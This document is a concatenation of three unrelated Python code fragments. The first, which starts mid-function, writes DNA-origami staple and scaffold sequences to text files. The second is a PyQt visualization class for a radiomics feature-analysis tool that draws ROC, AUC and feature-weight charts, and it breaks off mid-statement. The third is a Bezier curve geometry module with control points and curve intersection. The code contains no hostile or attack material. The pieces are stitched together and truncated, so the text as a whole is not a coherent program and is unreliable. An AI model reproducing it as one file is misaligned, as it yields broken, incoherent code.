outputFile.write("|\n")
outputFile.write("Staple " + "{:<7}".format(str(i)) + "|")
for j in range(lengthStrands):
if lookUpStaple[i][j] == '':
outputFile.write("-")
else:
# Check for loop, invert loop sequence if found
if loop[i][j] == 0:
outputFile.write(lookUpStaple[i][j])
else:
reverseLoop = lookUpStaple[i][j][::-1]
outputFile.write(reverseLoop[0])
outputFile.write("{")
outputFile.write(reverseLoop[1:])
outputFile.write("}")
outputFile.write("|\n\n")
# Odd strands
else:
outputFile.write("Staple " + "{:<7}".format(str(i)) + "|")
for j in range(lengthStrands):
if lookUpStaple[i][j] == '':
outputFile.write("-")
else:
# Check for loop, place sequence between curly brackets
if loop[i][j] == 0:
outputFile.write(lookUpStaple[i][j])
else:
outputFile.write(lookUpStaple[i][j][0])
outputFile.write("{")
outputFile.write(lookUpStaple[i][j][1:])
outputFile.write("}")
outputFile.write("|\n")
outputFile.write("Scaffold " + "{:<5}".format(str(i)) + "|")
for j in range(lengthStrands):
if lookUpScaffold[i][j] == '':
outputFile.write("-")
else:
# Check for loop, invert loop sequence if found
if loop[i][j] == 0:
outputFile.write(lookUpScaffold[i][j])
else:
reverseLoop = lookUpScaffold[i][j][::-1]
outputFile.write(reverseLoop[0])
outputFile.write("{")
outputFile.write(reverseLoop[1:])
outputFile.write("}")
outputFile.write("|\n\n")
outputFile.close()
def OutputFiles(scaffoldSequence, stapleSequence, numStrands, lengthStrands, lookUpScaffold, lookUpStaple, fileName, loop):
"""
Output files to folder with same name of input json file.
"""
directoryName = fileName
scaffoldsFileName = "scaffolds_" + fileName + ".txt"
staplesFileName = "staples_" + fileName + ".txt"
visualizerFileName = "visualized_sequence_" + fileName + ".txt"
# Sort scaffolds from longest to shortest for printing
scaffoldSequence.sort(key = len, reverse=True)
os.makedirs(directoryName, exist_ok=True)
# Print scaffold file
PrintSequence(scaffoldSequence, os.path.join(
directoryName, scaffoldsFileName))
# | |
from copy import deepcopy
import os
import re
from PyQt5.QtWidgets import *
from PyQt5 import QtCore, QtGui
from GUI.Visualization import Ui_Visualization
from FAE.FeatureAnalysis.Classifier import *
from FAE.FeatureAnalysis.FeaturePipeline import FeatureAnalysisPipelines, OnePipeline
from FAE.Description.Description import Description
from FAE.Visualization.DrawROCList import DrawROCList
from FAE.Visualization.PlotMetricVsFeatureNumber import DrawCurve, DrawBar
from FAE.Visualization.FeatureSort import GeneralFeatureSort, SortRadiomicsFeature
from Utility.EcLog import eclog
class VisualizationConnection(QWidget, Ui_Visualization):
def __init__(self, parent=None):
self._root_folder = ''
self._fae = FeatureAnalysisPipelines()
self.sheet_dict = dict()
self.logger = eclog(os.path.split(__file__)[-1]).GetLogger()
self.__is_ui_ready = False
super(VisualizationConnection, self).__init__(parent)
self.setupUi(self)
self.buttonLoadResult.clicked.connect(self.LoadAll)
self.buttonClearResult.clicked.connect(self.ClearAll)
self.buttonSave.clicked.connect(self.Save)
self.buttonGenerateDescription.clicked.connect(self.GenerateDescription)
self.__plt_roc = self.canvasROC.getFigure().add_subplot(111)
self.__plt_plot = self.canvasPlot.getFigure().add_subplot(111)
self.__contribution = self.canvasFeature.getFigure().add_subplot(111)
# Update Sheet
self.tableClinicalStatistic.setEditTriggers(QAbstractItemView.NoEditTriggers)
self.tableClinicalStatistic.setSelectionBehavior(QAbstractItemView.SelectRows)
self.comboSheet.currentIndexChanged.connect(self.UpdateSheet)
self.checkMaxFeatureNumber.stateChanged.connect(self.UpdateSheet)
# self.tableClinicalStatistic.doubleClicked.connect(self.ShowOneResult)
self.tableClinicalStatistic.itemSelectionChanged.connect(self.ShowOneResult)
# Update ROC canvas
self.comboNormalizer.currentIndexChanged.connect(self.UpdateROC)
self.comboDimensionReduction.currentIndexChanged.connect(self.UpdateROC)
self.comboFeatureSelector.currentIndexChanged.connect(self.UpdateROC)
self.comboClassifier.currentIndexChanged.connect(self.UpdateROC)
self.spinBoxFeatureNumber.valueChanged.connect(self.UpdateROC)
self.checkROCCVTrain.stateChanged.connect(self.UpdateROC)
self.checkROCCVValidation.stateChanged.connect(self.UpdateROC)
self.checkROCTrain.stateChanged.connect(self.UpdateROC)
self.checkROCTest.stateChanged.connect(self.UpdateROC)
# Update Plot canvas
self.comboPlotX.currentIndexChanged.connect(self.UpdatePlot)
self.comboPlotY.currentIndexChanged.connect(self.UpdatePlot)
self.comboPlotNormalizer.currentIndexChanged.connect(self.UpdatePlot)
self.comboPlotDimensionReduction.currentIndexChanged.connect(self.UpdatePlot)
self.comboPlotFeatureSelector.currentIndexChanged.connect(self.UpdatePlot)
self.comboPlotClassifier.currentIndexChanged.connect(self.UpdatePlot)
self.spinPlotFeatureNumber.valueChanged.connect(self.UpdatePlot)
self.checkPlotCVTrain.stateChanged.connect(self.UpdatePlot)
self.checkPlotCVValidation.stateChanged.connect(self.UpdatePlot)
self.checkPlotTrain.stateChanged.connect(self.UpdatePlot)
# self.checkPlotTest.stateChanged.connect(self.UpdatePlot)
# Update Contribution canvas
self.radioContributionFeatureSelector.toggled.connect(self.UpdateContribution)
self.radioContributionClassifier.toggled.connect(self.UpdateContribution)
self.comboContributionNormalizor.currentIndexChanged.connect(self.UpdateContribution)
self.comboContributionDimension.currentIndexChanged.connect(self.UpdateContribution)
self.comboContributionFeatureSelector.currentIndexChanged.connect(self.UpdateContribution)
self.comboContributionClassifier.currentIndexChanged.connect(self.UpdateContribution)
self.spinContributeFeatureNumber.valueChanged.connect(self.UpdateContribution)
def LoadAll(self):
dlg = QFileDialog()
dlg.setFileMode(QFileDialog.DirectoryOnly)
dlg.setOption(QFileDialog.ShowDirsOnly)
if dlg.exec_():
self._root_folder = dlg.selectedFiles()[0]
if not os.path.exists(self._root_folder):
return
if not r'.FAEresult4129074093819729087' in os.listdir(self._root_folder):
QMessageBox.about(self, 'Load Error', 'This folder is not supported for import')
return
try:
self.lineEditResultPath.setText(self._root_folder)
self._fae.LoadAll(self._root_folder)
self.SetResultDescription()
self.SetResultTable()
self.InitialUi()
except Exception as ex:
QMessageBox.about(self, "Load Error", ex.__str__())
self.logger.log('Load Error, The reason is ' + str(ex))
self.ClearAll()
return
self.buttonClearResult.setEnabled(True)
self.buttonSave.setEnabled(True)
self.buttonLoadResult.setEnabled(False)
def ClearAll(self):
self.buttonLoadResult.setEnabled(True)
self.buttonSave.setEnabled(False)
self.buttonClearResult.setEnabled(False)
self.checkROCCVTrain.setChecked(False)
self.checkROCCVValidation.setChecked(False)
self.checkROCTrain.setChecked(False)
self.checkROCTest.setChecked(False)
self.checkPlotCVTrain.setChecked(False)
self.checkPlotCVValidation.setChecked(False)
self.checkPlotTrain.setChecked(False)
# self.checkPlotTest.setChecked(False)
self.radioContributionFeatureSelector.setChecked(True)
self.radioContributionFeatureSelector.setChecked(False)
self.checkMaxFeatureNumber.setChecked(False)
self.canvasROC.getFigure().clear()
self.canvasPlot.getFigure().clear()
self.canvasFeature.getFigure().clear()
self.__plt_roc = self.canvasROC.getFigure().add_subplot(111)
self.__plt_plot = self.canvasPlot.getFigure().add_subplot(111)
self.__contribution = self.canvasFeature.getFigure().add_subplot(111)
self.canvasROC.draw()
self.canvasPlot.draw()
self.canvasFeature.draw()
self.textEditDescription.clear()
self.lineEditResultPath.clear()
self.comboSheet.clear()
self.comboClassifier.clear()
self.comboDimensionReduction.clear()
self.comboNormalizer.clear()
self.comboFeatureSelector.clear()
self.comboPlotClassifier.clear()
self.comboPlotDimensionReduction.clear()
self.comboPlotFeatureSelector.clear()
self.comboPlotNormalizer.clear()
self.comboPlotX.clear()
self.comboPlotY.clear()
self.comboContributionNormalizor.clear()
self.comboContributionDimension.clear()
self.comboContributionClassifier.clear()
self.comboContributionFeatureSelector.clear()
self.spinBoxFeatureNumber.setValue(0)
self.spinPlotFeatureNumber.setValue(0)
self.spinPlotFeatureNumber.setEnabled(False)
self.spinContributeFeatureNumber.setValue(1)
self.tableClinicalStatistic.clear()
self.tableClinicalStatistic.setRowCount(0)
self.tableClinicalStatistic.setColumnCount(0)
self.tableClinicalStatistic.setHorizontalHeaderLabels(list([]))
self.tableClinicalStatistic.setVerticalHeaderLabels(list([]))
self._fae = FeatureAnalysisPipelines()
self._root_folder = ''
self.sheet_dict = dict()
self.__is_ui_ready = False
def Save(self):
dlg = QFileDialog()
dlg.setFileMode(QFileDialog.DirectoryOnly)
dlg.setOption(QFileDialog.ShowDirsOnly)
if dlg.exec_():
store_folder = dlg.selectedFiles()[0]
try:
self.canvasROC.getFigure().savefig(os.path.join(store_folder, 'ROC.eps'), dpi=1200)
self.canvasROC.getFigure().savefig(os.path.join(store_folder, 'ROC.jpg'), dpi=300)
except Exception as e:
QMessageBox.about(self, 'Save Figure Failed', 'There is no ROC figure.\n' + e.__str__())
try:
self.canvasPlot.getFigure().savefig(os.path.join(store_folder, 'Compare.eps'), dpi=1200)
self.canvasPlot.getFigure().savefig(os.path.join(store_folder, 'Compare.jpg'), dpi=300)
except Exception as e:
QMessageBox.about(self, 'Save Figure Failed', 'There is no AUC comparison figure.\n' + e.__str__())
try:
self.canvasFeature.getFigure().savefig(os.path.join(store_folder, 'FeatureWeights.eps'), dpi=1200)
self.canvasFeature.getFigure().savefig(os.path.join(store_folder, 'FeatureWeights.jpg'), dpi=300)
except Exception as e:
QMessageBox.about(self, 'Save Figure Failed', 'There is no Feature Contribution figure.\n' + e.__str__())
def InitialUi(self):
# Update ROC canvers
for normalizer in self._fae.GetNormalizerList():
self.comboNormalizer.addItem(normalizer.GetName())
for dimension_reduction in self._fae.GetDimensionReductionList():
self.comboDimensionReduction.addItem(dimension_reduction.GetName())
for classifier in self._fae.GetClassifierList():
self.comboClassifier.addItem(classifier.GetName())
for feature_selector in self._fae.GetFeatureSelectorList():
self.comboFeatureSelector.addItem(feature_selector.GetName())
self.spinBoxFeatureNumber.setMinimum(int(self._fae.GetFeatureNumberList()[0]))
self.spinBoxFeatureNumber.setMaximum(int(self._fae.GetFeatureNumberList()[-1]))
# Update Plot canvars
if len(self._fae.GetNormalizerList()) > 1:
self.comboPlotX.addItem('Normaliaztion')
if len(self._fae.GetDimensionReductionList()) > 1:
self.comboPlotX.addItem('Dimension Reduction')
if len(self._fae.GetFeatureSelectorList()) > 1:
self.comboPlotX.addItem('Feature Selector')
if len(self._fae.GetClassifierList()) > 1:
self.comboPlotX.addItem('Classifier')
if len(self._fae.GetFeatureNumberList()) > 1:
self.comboPlotX.addItem('Feature Number')
self.comboPlotY.addItem('AUC')
for index in self._fae.GetNormalizerList():
self.comboPlotNormalizer.addItem(index.GetName())
for index in self._fae.GetDimensionReductionList():
self.comboPlotDimensionReduction.addItem(index.GetName())
for index in self._fae.GetFeatureSelectorList():
self.comboPlotFeatureSelector.addItem(index.GetName())
for index in self._fae.GetClassifierList():
self.comboPlotClassifier.addItem(index.GetName())
self.spinPlotFeatureNumber.setMinimum(int(self._fae.GetFeatureNumberList()[0]))
self.spinPlotFeatureNumber.setMaximum(int(self._fae.GetFeatureNumberList()[-1]))
# Update Contribution canvas
for index in self._fae.GetNormalizerList():
self.comboContributionNormalizor.addItem(index.GetName())
for index in self._fae.GetDimensionReductionList():
self.comboContributionDimension.addItem(index.GetName())
for selector in self._fae.GetFeatureSelectorList():
self.comboContributionFeatureSelector.addItem(selector.GetName())
for classifier in self._fae.GetClassifierList():
specific_name = classifier.GetName() + '_coef.csv'
if self._SearchSpecificFile(int(self._fae.GetFeatureNumberList()[0]), specific_name):
self.comboContributionClassifier.addItem(classifier.GetName())
self.spinContributeFeatureNumber.setMinimum(int(self._fae.GetFeatureNumberList()[0]))
self.spinContributeFeatureNumber.setMaximum(int(self._fae.GetFeatureNumberList()[-1]))
self.__is_ui_ready = True
def UpdateROC(self):
if not self.__is_ui_ready:
return
if (self.comboNormalizer.count() == 0) or \
(self.comboDimensionReduction.count() == 0) or \
(self.comboFeatureSelector.count() == 0) or \
(self.comboClassifier.count() == 0) or \
(self.spinBoxFeatureNumber.value() == 0):
return
case_name = self.comboNormalizer.currentText() + '_' + \
self.comboDimensionReduction.currentText() + '_' + \
self.comboFeatureSelector.currentText() + '_' + \
str(self.spinBoxFeatureNumber.value()) + '_' + \
self.comboClassifier.currentText()
case_folder = os.path.join(self._root_folder, case_name)
pred_list, label_list, name_list = [], [], []
if self.checkROCCVTrain.isChecked():
train_pred = np.load(os.path.join(case_folder, 'train_predict.npy'))
train_label = np.load(os.path.join(case_folder, 'train_label.npy'))
pred_list.append(train_pred)
label_list.append(train_label)
name_list.append('CV Train')
if self.checkROCCVValidation.isChecked():
val_pred = np.load(os.path.join(case_folder, 'val_predict.npy'))
val_label = np.load(os.path.join(case_folder, 'val_label.npy'))
pred_list.append(val_pred)
label_list.append(val_label)
name_list.append('CV Validation')
if self.checkROCTrain.isChecked():
all_train_pred = np.load(os.path.join(case_folder, 'all_train_predict.npy'))
all_train_label = np.load(os.path.join(case_folder, 'all_train_label.npy'))
pred_list.append(all_train_pred)
label_list.append(all_train_label)
name_list.append('Train')
if self.checkROCTest.isChecked():
if os.path.exists(os.path.join(case_folder, 'test_label.npy')):
test_pred = np.load(os.path.join(case_folder, 'test_predict.npy'))
test_label = np.load(os.path.join(case_folder, 'test_label.npy'))
pred_list.append(test_pred)
label_list.append(test_label)
name_list.append('Test')
if len(pred_list) > 0:
DrawROCList(pred_list, label_list, name_list=name_list, is_show=False, fig=self.canvasROC.getFigure())
self.canvasROC.draw()
def _UpdatePlotButtons(self, selected_index):
index = [0, 0, 0, 0, 0]
self.comboPlotNormalizer.setEnabled(True)
self.comboPlotDimensionReduction.setEnabled(True)
self.comboPlotFeatureSelector.setEnabled(True)
self.comboPlotClassifier.setEnabled(True)
self.spinPlotFeatureNumber.setEnabled(True)
index[0] = self.comboPlotNormalizer.currentIndex()
index[1] = self.comboPlotDimensionReduction.currentIndex()
index[2] = self.comboPlotFeatureSelector.currentIndex()
index[4] = self.comboPlotClassifier.currentIndex()
index[3] = self.spinPlotFeatureNumber.value() - int(self._fae.GetFeatureNumberList()[0])
if selected_index == 0:
self.comboPlotNormalizer.setEnabled(False)
index[0] = [temp for temp in range(len(self._fae.GetNormalizerList()))]
elif selected_index == 1:
self.comboPlotDimensionReduction.setEnabled(False)
index[1] = [temp for temp in range(len(self._fae.GetDimensionReductionList()))]
elif selected_index == 2:
self.comboPlotFeatureSelector.setEnabled(False)
index[2] = [temp for temp in range(len(self._fae.GetFeatureSelectorList()))]
elif selected_index == 4:
self.comboPlotClassifier.setEnabled(False)
index[4] = [temp for temp in range(len(self._fae.GetClassifierList()))]
elif selected_index == 3:
self.spinPlotFeatureNumber.setEnabled(False)
index[3] = [temp for temp in range(len(self._fae.GetFeatureNumberList()))]
return index
def UpdatePlot(self):
if not self.__is_ui_ready:
return
if self.comboPlotX.count() == 0:
return
x_ticks = []
x_label = ''
selected_index = -1
if self.comboPlotX.currentText() == 'Normaliaztion':
selected_index = 0
x_ticks = [instance.GetName() for instance in self._fae.GetNormalizerList()]
x_label = 'Normalization Method'
elif self.comboPlotX.currentText() == 'Dimension Reduction':
selected_index = 1
x_ticks = [instance.GetName() for instance in self._fae.GetDimensionReductionList()]
x_label = 'Dimension Reduction Method'
elif self.comboPlotX.currentText() == 'Feature Selector':
selected_index = 2
x_ticks = [instance.GetName() for instance in self._fae.GetFeatureSelectorList()]
x_label = 'Feature Selecotr Method'
elif self.comboPlotX.currentText() == 'Classifier':
selected_index = 4
x_ticks = [instance.GetName() for instance in self._fae.GetClassifierList()]
x_label = 'Classifier Method'
elif self.comboPlotX.currentText() == 'Feature Number':
selected_index = 3
x_ticks = list(map(int, self._fae.GetFeatureNumberList()))
x_label = 'Feature Number'
max_axis_list = [0, 1, 2, 3, 4]
max_axis_list.remove(selected_index)
max_axis = tuple(max_axis_list)
index = self._UpdatePlotButtons(selected_index)
show_data = []
show_data_std =[]
name_list = []
if self.comboPlotY.currentText() == 'AUC':
if self.checkPlotCVTrain.isChecked():
temp = deepcopy(self._fae.GetAUCMetric()['train'])
auc_std = deepcopy(self._fae.GetAUCstdMetric()['train'])
show_data.append(temp[tuple(index)].tolist())
show_data_std.append(auc_std[tuple(index)].tolist())
name_list.append('CV Train')
if self.checkPlotCVValidation.isChecked():
temp = deepcopy(self._fae.GetAUCMetric()['val'])
auc_std = deepcopy(self._fae.GetAUCstdMetric()['val'])
show_data.append(temp[tuple(index)].tolist())
show_data_std.append(auc_std[tuple(index)].tolist())
name_list.append('CV Validation')
if self.checkPlotTrain.isChecked():
temp = deepcopy(self._fae.GetAUCMetric()['all_train'])
auc_std = deepcopy(self._fae.GetAUCstdMetric()['all_train'])
show_data.append(temp[tuple(index)].tolist())
show_data_std.append(auc_std[tuple(index)].tolist())
name_list.append('Train')
# if self.checkPlotTest.isChecked():
# temp = deepcopy(self._fae.GetAUCMetric()['test'])
# auc_std = deepcopy(self._fae.GetAUCstdMetric()['test'])
# if temp.size > 0:
# show_data.append(temp[tuple(index)].tolist())
# show_data_std.append(auc_std[tuple(index)].tolist())
# name_list.append('Test')
if len(show_data) > 0:
if selected_index == 3:
DrawCurve(x_ticks, show_data, show_data_std, xlabel=x_label, ylabel=self.comboPlotY.currentText(),
name_list=name_list, is_show=False, fig=self.canvasPlot.getFigure())
else:
DrawBar(x_ticks, show_data, ylabel=self.comboPlotY.currentText(),
name_list=name_list, is_show=False, fig=self.canvasPlot.getFigure())
self.canvasPlot.draw()
def UpdateContribution(self):
if not self.__is_ui_ready:
return
try:
one_result_folder_name = self.comboContributionNormalizor.currentText() + '_' + \
self.comboContributionDimension.currentText() + '_' + \
self.comboContributionFeatureSelector.currentText() + '_' + \
str(self.spinContributeFeatureNumber.value()) + '_' + \
self.comboContributionClassifier.currentText()
one_result_folder = os.path.join(self._root_folder, one_result_folder_name)
# This is compatible with the previous version
if not os.path.exists(one_result_folder):
one_result_folder_name = self.comboContributionNormalizor.currentText() + '_Cos_' + \
self.comboContributionFeatureSelector.currentText() + '_' + \
str(self.spinContributeFeatureNumber.value()) + '_' + \
self.comboContributionClassifier.currentText()
one_result_folder = os.path.join(self._root_folder, one_result_folder_name)
if self.radioContributionFeatureSelector.isChecked():
file_name = self.comboContributionFeatureSelector.currentText() + '_sort.csv'
file_path = os.path.join(one_result_folder, file_name)
if not os.path.exists(file_path):
file_name = self.comboContributionFeatureSelector.currentText().lower() + '_sort.csv'
file_path = os.path.join(one_result_folder, file_name)
if file_path:
df = pd.read_csv(file_path, index_col=0)
value = list(np.abs(df.iloc[:, 0]))
#add positive and negatiove info for coef
processed_feature_name = list(df.index)
original_value = list(df.iloc[:, 0])
for index in range(len(original_value)):
if original_value[index] > 0:
processed_feature_name[index] = processed_feature_name[index] + ' P'
else:
processed_feature_name[index] = processed_feature_name[index] + ' N'
GeneralFeatureSort(processed_feature_name, value, max_num=self.spinContributeFeatureNumber.value(),
is_show=False, fig=self.canvasFeature.getFigure())
elif self.radioContributionClassifier.isChecked():
specific_name = self.comboContributionClassifier.currentText() + '_coef.csv'
file_path = os.path.join(one_result_folder, specific_name)
if not os.path.exists(file_path):
specific_name = self.comboContributionClassifier.currentText().lower() + '_coef.csv'
file_path = os.path.join(one_result_folder, specific_name)
if file_path:
df = pd.read_csv(file_path, index_col=0)
feature_name = list(df.index)
value = list(np.abs(df.iloc[:, 0]))
#add positive and negatiove info for coef
processed_feature_name = list(df.index)
original_value = list(df.iloc[:, 0])
for index in range(len(original_value)):
if original_value[index] > 0:
processed_feature_name[index] = processed_feature_name[index] + ' P'
else:
processed_feature_name[index] = processed_feature_name[index] + ' N'
# try:
# SortRadiomicsFeature(processed_feature_name, value, is_show=False, fig=self.canvasFeature.getFigure())
# except:
GeneralFeatureSort(processed_feature_name, value,
is_show=False, fig=self.canvasFeature.getFigure())
self.canvasFeature.draw()
except Exception as e:
content = 'In Visualization, UpdateContribution failed'
self.logger.error('{}{}'.format(content, str(e)))
QMessageBox.about(self, content, e.__str__())
def SetResultDescription(self):
text = "Normalizer:\n"
for index in self._fae.GetNormalizerList():
text += (index.GetName() + '\n')
text += '\n'
text += "Dimension Reduction:\n"
for index in self._fae.GetDimensionReductionList():
text += (index.GetName() + '\n')
text += '\n'
text += "Feature Selector:\n"
for index in self._fae.GetFeatureSelectorList():
text += (index.GetName() + '\n')
text += '\n'
text += "Feature Number:\n"
text += "{:s} - {:s}\n".format(self._fae.GetFeatureNumberList()[0], self._fae.GetFeatureNumberList()[-1])
text += '\n'
text += "Classifier:\n"
for index in self._fae.GetClassifierList():
text += (index.GetName() + '\n')
text += '\n'
text += 'Cross Validation: ' + self._fae.GetCrossValidation().GetName()
self.textEditDescription.setPlainText(text)
def UpdateSheet(self):
if self.checkMaxFeatureNumber.isChecked():
self.comboSheet.setEnabled(False)
else:
self.comboSheet.setEnabled(True)
self.tableClinicalStatistic.clear()
self.tableClinicalStatistic.setSortingEnabled(False)
if self.comboSheet.currentText() == 'Train':
df = self.sheet_dict['train']
elif self.comboSheet.currentText() == 'Validation':
df = self.sheet_dict['val']
elif self.comboSheet.currentText() == 'Test':
df = self.sheet_dict['test']
else:
return
if self.checkMaxFeatureNumber.isChecked():
self.sheet_dict['test'] = pd.read_csv(os.path.join(self._root_folder, 'test_result.csv'), index_col=0)
data = self._fae.GetAUCMetric()['val']
std_data = self._fae.GetAUCstdMetric()['val']
df_val = self.sheet_dict['val']
df_test = self.sheet_dict['test']
name_list = []
for | |
import itertools
import numpy as np
from x7.lib.iters import iter_rotate, xy_flatten
from .typing import *
from .geom import *
from .transform import *
try:
import bezier as bz
BzCurve = bz.Curve
except ModuleNotFoundError:
bezier = None
BzCurve = None
__all__ = [
'ControlPoint',
'bez_split', 'bez', 'bez_path', 'bez_intersect', 'bez_self_intersect',
]
class ControlPoint(object):
"""A Control Point for curves"""
def __init__(self, c: BasePoint, dl: Vector, dr: Vector, kind='smooth'):
self.c = c
self.dl = dl
self.dr = dr
self.kind = kind
def __str__(self):
return repr((self.c, self.dl, self.dr, self.kind))
def __repr__(self):
return 'ControlPoint' + repr((self.c, self.dl, self.dr, self.kind))
def __eq__(self, other):
return self.__class__ == other.__class__ and self.c == other.c and \
self.dl == other.dl and self.dr == other.dr and self.kind == other.kind
def close(self, other: 'ControlPoint', max_delta=1e-11):
return (
self.kind == other.kind and self.c.close(other.c, max_delta) and
self.dl.close(other.dl, max_delta) and self.dr.close(other.dr, max_delta)
)
def reversed(self):
"""Return a reversed version of this ControlPoint"""
return ControlPoint(self.c, self.dr, self.dl, self.kind)
@staticmethod
def reverse_list(cps: List['ControlPoint']):
"""Reverse the list and all cps in it"""
return [cp.reversed() for cp in reversed(cps)]
def fixed(self):
return ControlPoint(self.c.fixed(), self.dl.fixed(), self.dr.fixed(), self.kind)
def copy(self):
return ControlPoint(self.c.copy(), self.dl.copy(), self.dr.copy(), self.kind)
def bbox(self):
bb = BBox(self.l, self.r)
bb.grow(self.c)
return bb
def restore(self, copy):
self.c = copy.c.copy()
self.dl = copy.dl.copy()
self.dr = copy.dr.copy()
self.kind = copy.kind
def transform(self, matrix: Transformer):
t_c = matrix.transform_pt(self.c)
t_l = matrix.transform_pt(self.l)
t_r = matrix.transform_pt(self.r)
cp = ControlPoint(t_c, t_l-t_c, t_r-t_c, self.kind)
if not matrix.LINEAR:
# Non-linear transform, fix dl/dr relationship
if cp.kind == 'very-smooth':
cp.dr = (cp.dr - cp.dl) / 2
cp.dl = -cp.dr
elif cp.kind == 'smooth':
if cp.dl or cp.dr:
direction = (cp.dr - cp.dl).unit()
cp.dr = cp.dr.length() * direction
cp.dl = -cp.dl.length() * direction
return cp
def round(self, digits=0):
return ControlPoint(self.c.round(digits), self.dl.round(digits), self.dr.round(digits), self.kind)
@property
def l(self) -> Point:
return self.c + self.dl
@property
def r(self) -> Point:
return self.c + self.dr
def bz_curve(cp1: ControlPoint, cp2: ControlPoint) -> BzCurve:
nodes_a = np.array([tuple(p) for p in (cp1.c, cp1.r, cp2.l, cp2.c)]).T
return bz.Curve(nodes_a, 3)
def bz_plot(curves: List, points: PointList):
import matplotlib.pyplot as plt
c_c: List[Tuple[BzCurve, str]] = [cc if isinstance(cc, tuple) else (cc, 'black') for cc in curves]
fig, ax = plt.subplots(figsize=(8, 6))
for curve, color in c_c:
curve.plot(80, ax=ax, color=color)
if points:
x_vals, y_vals = zip(*BasePoint.parse(points))
ax.plot(x_vals, y_vals, marker="o", linestyle="None", color="black")
plt.show()
def bz_plot_curves(curves: List[List[ControlPoint]], color_by_segment=False):
bz_curves = []
pts = []
colors = ['red', 'green', 'blue', 'yellow', 'cyan', 'purple'] * 10
for curve, color in zip(curves, colors):
pts.extend(cp.c for cp in curve)
if color_by_segment:
bz_curves.extend([(bz_curve(a, b), color) for (a, b), color in zip(iter_rotate(curve), colors)])
else:
bz_curves.extend([(bz_curve(a, b), color) for a, b in iter_rotate(curve)])
rounded = [cp.round(2) for cp in curve]
formatted = ['{%s, %s, %s}' % (cp.c.xy(), cp.dl.xy(), cp.dr.xy()) for cp in rounded]
print(' [%s],' % (', '.join(formatted)))
# print(curve)
# print(bz_curves)
bz_plot(bz_curves, pts)
def bez_intersect(
cpa1: ControlPoint, cpa2: ControlPoint,
cpb1: ControlPoint, cpb2: ControlPoint,
*, as_points=False, endpoints=False, do_plot=False) -> Union[List[Point], List[Tuple[float]]]:
"""
Compute intersection(s) of curves A and B.
:param cpa1: cp1 of curve A
:param cpa2: cp2 of curve A
:param cpb1: cp1 of curve B
:param cpb2: cp2 of curve B
:param as_points: Return List[Point] instead
:param endpoints: Include endpoints in intersection set
:param do_plot: (debugging) plot curves + points
:return:Return 2 x N array of s- and t-parameters where intersections occur (possibly empty)
"""
result = bez_intersect_new(cpa1, cpa2, cpb1, cpb2, endpoints=endpoints, do_plot=do_plot)
if as_points:
return [pt for pt, ta, tb in result]
else:
return list(zip(*[(ta, tb) for pt, ta, tb in result]))
def bez_intersect_new(
cpa1: ControlPoint, cpa2: ControlPoint,
cpb1: ControlPoint, cpb2: ControlPoint,
*, endpoints=False, do_plot=False) -> List[Tuple[Point, float, float]]:
"""
Compute intersection(s) of curves A and B.
:param cpa1: cp1 of curve A
:param cpa2: cp2 of curve A
:param cpb1: cp1 of curve B
:param cpb2: cp2 of curve B
:param endpoints: Include endpoints in intersection set
:param do_plot: (debugging) plot curves + points
:return: List of (intersection-point, t-value for curve A, t-value for curve B)
"""
curve_a = bz_curve(cpa1, cpa2)
curve_b = bz_curve(cpb1, cpb2)
try:
intersections = curve_a.intersect(curve_b)
except NotImplementedError as err:
# bz.intersect will give up if there are too many "candidate" intersections
print('WARNING: ', err)
intersections = np.array([])
if not endpoints and intersections.size:
intersections = np.array(([(t, s) for t, s in intersections.T if (t, s) not in ((1, 0), (0, 1))])).T
if intersections.size:
points = curve_a.evaluate_multi(np.array(intersections[0]).T)
points = [Point(x, y) for x, y in points.T]
else:
points = []
if do_plot:
bz_plot([curve_a, curve_b], points)
return [(p, t, s) for p, (t, s) in zip(points, intersections.T.tolist())]
class BziNode(object):
"""A curve-curve intersection point with possibly many different edges"""
def __init__(self, center: Tuple[float, float]):
self._center = center
self.edges = []
def __str__(self):
return 'Node@%s, %d edges' % (self.center.round(2), len(self.edges))
@property
def center(self):
return Point(*self._center)
def add_edge(self, edge: 'BziEdge'):
assert edge.left is self or edge.right is self
self.edges.append(edge)
def any_edge(self, not_this_one: Optional['BziEdge'] = None) -> Optional['BziEdge']:
"""Return any edge, avoiding not_this_one and preferring left-pointing edges"""
for edge in self.edges:
if not edge.removed and edge.right == self and edge.right_right != not_this_one:
return edge
return None
def add_cp(self, cp: ControlPoint):
assert self._center == cp.c.xy()
# self.edges.extend([cp.dl, cp.dr])
class BziEdge(object):
"""A sub-curve in a bezier intersection graph"""
def __init__(self, left_left: Optional['BziEdge'], left: BziNode,
cps: List[ControlPoint], right: BziNode, right_right: Optional['BziEdge']):
self.left_left: BziEdge = left_left
self.left = left
if len(cps) < 2:
raise ValueError('Must have at least 2 points in cps, not %d' % len(cps))
self.cps = cps[:]
self.right = right
self.right_right: BziEdge = right_right
self.removed = False
self.name = 'e?'
self.left.add_edge(self)
self.right.add_edge(self)
def __str__(self):
return '%s->%s' % (self.left.center.round(2).xy(), self.right.center.round(2).xy())
def __repr__(self):
return 'Edge %s %s: ll=%s l=%s cps=%d r=%s rr=%s' % (
self.name, '-' if self.removed else '+',
self.left_left.name, self.left.center.round(2).xy(),
len(self.cps),
self.right.center.round(2).xy(), self.right_right.name
)
def remove(self):
self.removed = True
def unremove(self):
self.removed = False
class BziGraph(object):
"""Collection of intersections"""
def __init__(self):
self.nodes: Dict[tuple, BziNode] = {} # Key: center point of intersection
self.edges: List[BziEdge] = []
def node(self, xy: Tuple[float, float], create=False):
if create and xy not in self.nodes:
self.nodes[xy] = BziNode(xy)
return self.nodes[xy]
def any_node(self) -> Optional[BziNode]:
"""Return the first non-empty node or None"""
for node in self.nodes.values():
if node.any_edge():
return node
return None
def add_edge(self, left_left: Optional[BziEdge], left: BziNode,
cps: List[ControlPoint], right: BziNode, right_right: Optional[BziEdge]):
"""Create a new edge, add it to the graph and update relevant nodes & edges"""
edge = BziEdge(left_left, left, cps, right, right_right)
edge.name = 'e%d' % len(self.edges)
self.edges.append(edge)
if left_left and left_left.right_right is None:
left_left.right_right = edge
if right_right and right_right.left_left is None:
right_right.left_left = edge
return edge
def validate(self):
valid = True
for node in self.nodes.values():
count = len(node.edges)
if count % 2 or count < 4:
print('Invalid: node@%s: edge count=%d' % (node.center, count))
valid = False
for edge in node.edges:
if edge not in node.edges:
print('Invalid: node@%s: edge missing from graph.edges' % node.center)
valid = False
for edge in self.edges:
if not edge.left_left:
print('Invalid: edge: missing left_left')
valid = False
if not edge.right_right:
print('Invalid: edge: missing right_right')
valid = False
if valid:
print('BziGraph: apparently valid')
return valid
